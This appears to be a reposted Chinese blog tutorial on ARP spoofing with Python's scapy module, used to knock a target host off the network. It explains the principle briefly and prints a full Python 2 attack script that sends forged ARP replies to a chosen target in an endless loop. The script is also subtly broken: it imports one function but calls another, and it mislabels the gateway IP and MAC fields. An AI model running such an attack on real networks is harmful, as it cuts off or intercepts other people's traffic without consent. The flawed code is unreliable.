python指定进程断网_python通过scapy模块进行arp断网攻击
前言:
想實現像arpsoof一樣的工具
arp斷網攻擊原理:
通過偽造IP地址與MAC地址實現ARP欺騙,在網絡發送大量ARP通信量。攻擊者
只要持續不斷發送arp包就能造成中間人攻擊或者斷網攻擊。
0x01:
準備工作
Linux環境下:(windows環境下各種錯誤,其中有個錯誤是缺少windows.dll至今無法解決)
有scapy模塊
如果沒有進行安裝
py2安裝方法
pip install scapy
py3安裝方法
pip install scapy3
我們要用到scapy模塊里的
from scapy.all import (
ARP,
Ether,
sendp
)
from scapy.l2 import getmacip
Ether是構造網絡數據包
ARP進行ARP攻擊
sendp進行發包
代碼如下:
import os
from scapy.l2 import getmacip
from scapy.all import (
ARP,
Ether,
sendp
)
ifconfig=os.system('ifconfig')
print ifconfig
gmac=raw_input('Please enter gateway IP:')
liusheng=raw_input('Please enter your IP:')
liusrc=raw_input('Please enter target IP:')
try:
tg=getmacbyip(liusrc)
print tg
except Exception , f:
print '[-]{}'.format(f)
exit()
def arpspoof():
try:
eth=Ether()
arp=ARP(
op="is-at",#ARP響應
hwsrc=gmac,#網關mac
psrc=liusheng,#網關IP
hwdst=tg,#目標Mac
pdst=liusrc#目標IP
)
print ((eth/arp).show())
sendp(eth/arp,inter=2,loop=1)
except Exception ,g:
print '[-]{}'.format(g)
exit()
arpspoof()
運行截圖
效果圖
總結
以上是生活随笔為你收集整理的python指定进程断网_python通过scapy模块进行arp断网攻击的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 空间金字塔池化_回顾语义分割—Dense
- 下一篇: opcua客户端实现断线重连_虹科教您|